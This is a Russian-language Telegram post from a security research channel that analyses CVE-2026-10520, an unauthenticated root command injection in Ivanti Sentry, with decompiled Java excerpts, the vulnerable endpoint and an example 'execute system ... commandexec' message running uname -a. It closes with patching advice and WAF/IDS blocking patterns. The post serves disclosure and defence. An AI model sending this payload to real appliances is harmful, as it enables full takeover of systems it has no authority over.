TGViewer
Четыре луча Четыре луча @four_rays · 4.02K subscribers
Post #211 1.93K
Ivanti Sentry RCE

CVE-2026-10520 — уязвимость внедрения команд операционной системы в Ivanti Sentry до версий R10.5.2, R10.6.2 и R10.7.1 позволяет удаленному неаутентифицированному пользователю выполнить удаленный код с правами root.

🫡 Метрики
Base Score: 10.0 CRITICAL
CWE: CWE-78


🫡 Об уязвимости
Конечная точка: /mics/api/v2/sentry/mics-config/handleMessage

Ввод пользователя передается в переменной message POST-запроса. Она попадает в метод handleMessage() класса ConfigServiceHandler.java, где разбивается на токены. Первое слово становится command, последующие — module, xpath, value.

StringTokenizer tokenizer = new StringTokenizer(msg);
if (tokenizer.hasMoreTokens()) {
command = tokenizer.nextToken();
}
if (tokenizer.hasMoreTokens()) {
module = tokenizer.nextToken();
}
if (tokenizer.hasMoreTokens()) {
xpath = tokenizer.nextToken();
}
….
while (tokenizer.hasMoreTokens()) {
sb.append(tokenizer.nextToken()).append(" ");
}

value = sb.toString().trim()

response = this.handleMessage(module, xpath, command, value);


Далее в handlerMessage() в зависимости от command выбирается какой путь обработки использовать.

switch (ConfigCommand.getCommand(command)) {

case EXECUTE:
response = reqProcessor.handleExecute(xpath, value);
break;


return response;
}


Если command равна execute, выполнение переходит в ветку EXECUTE. Есть и другие ветки: TEST, GETLIST.

Метод handleExecute(xpath, value) в конечном итоге передает данные, которые контролирует пользователь (из message), в функцию executeNativeCommand().


XmlObject[] tmpObjList = this.getXmlObjectsForXPath(xpath, value);

Object nativeResp = CommonUtilities.executeNativeCommand(this.handler.getNativeModule(), tmpObjType, "Execute");


executeNativeCommand() Читает из XML имя класса и имя метода через getClassname() и getExecutemethod()
Выполняет код через excuteModuleMethod()

String implClsName = obj.getClass().getName();
String methodType = "get" + type + "method";
Method method = ReflectionUtilities.getMethod(implClsName, methodType);
XmlAnySimpleType getMethodName = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
method = ReflectionUtilities.getMethod(implClsName, "getClassname");
XmlAnySimpleType className = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);
method = ReflectionUtilities.getMethod(implClsName, "getBeanclass");
XmlAnySimpleType beanClass = (XmlAnySimpleType)ReflectionUtilities.executeMethod(method, obj, new Object[0]);

Object excuteModuleMethod = ReflectionUtilities.excuteModuleMethod(
className.getStringValue(), getMethodName.getStringValue(), beanClass.getStringValue(), obj
)


🫡 Результат
Эта функция выполняет полученную строку как команду в оболочке операционной системы с максимальными привилегиями (root)

🫡 Пример
execute system /configuration/system/commandexec <commandexec><index>1</index><reqandres>uname -a</reqandres></commandexec>


execute — command
system — module
/configuration/system/commandexec — xpath
Оставшаяся часть — value, пример запроса на скриншоте.

🫡 Как защищаться
1) Обновиться.

2) Проверит логи сервера на POST-запросы к /mics/api/v2/sentry/mics-config/handleMessage.

3) Правила WAF/IDS на блокировку POST-запросов к /mics/api/v2/sentry/mics-config/handleMessage где в параметре message передается строка execute, <commandexec> , system и тд.
  • 👍 9
  • 🔥 7
  • ⚡ 3
  • ❤ 1
  • 👾 1
More from @four_rays
  1. Sep 14, 2026💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить Rust…
  2. Sep 11, 2026😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак Когда стан…
  3. Sep 7, 2026😀 Call for Papers на технострим SOC Forum 2026 еще открыт! Темы: 1️⃣ Offense: актуальные…
  4. Aug 31, 2026☀️ Zimbra, все еще скрывающая боль Ранее мы уже рассказывали о расследовании «Zimbra, скры…
  5. Aug 19, 2026💡 Разберемся с непопулярными артефактами на OffZone 2026 Выбираете, какие выступления пос…
  6. Aug 17, 2026😀 Admin may cry CVE-2026-41452 — уязвимость, позволяющая перезаписать данные администрато…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →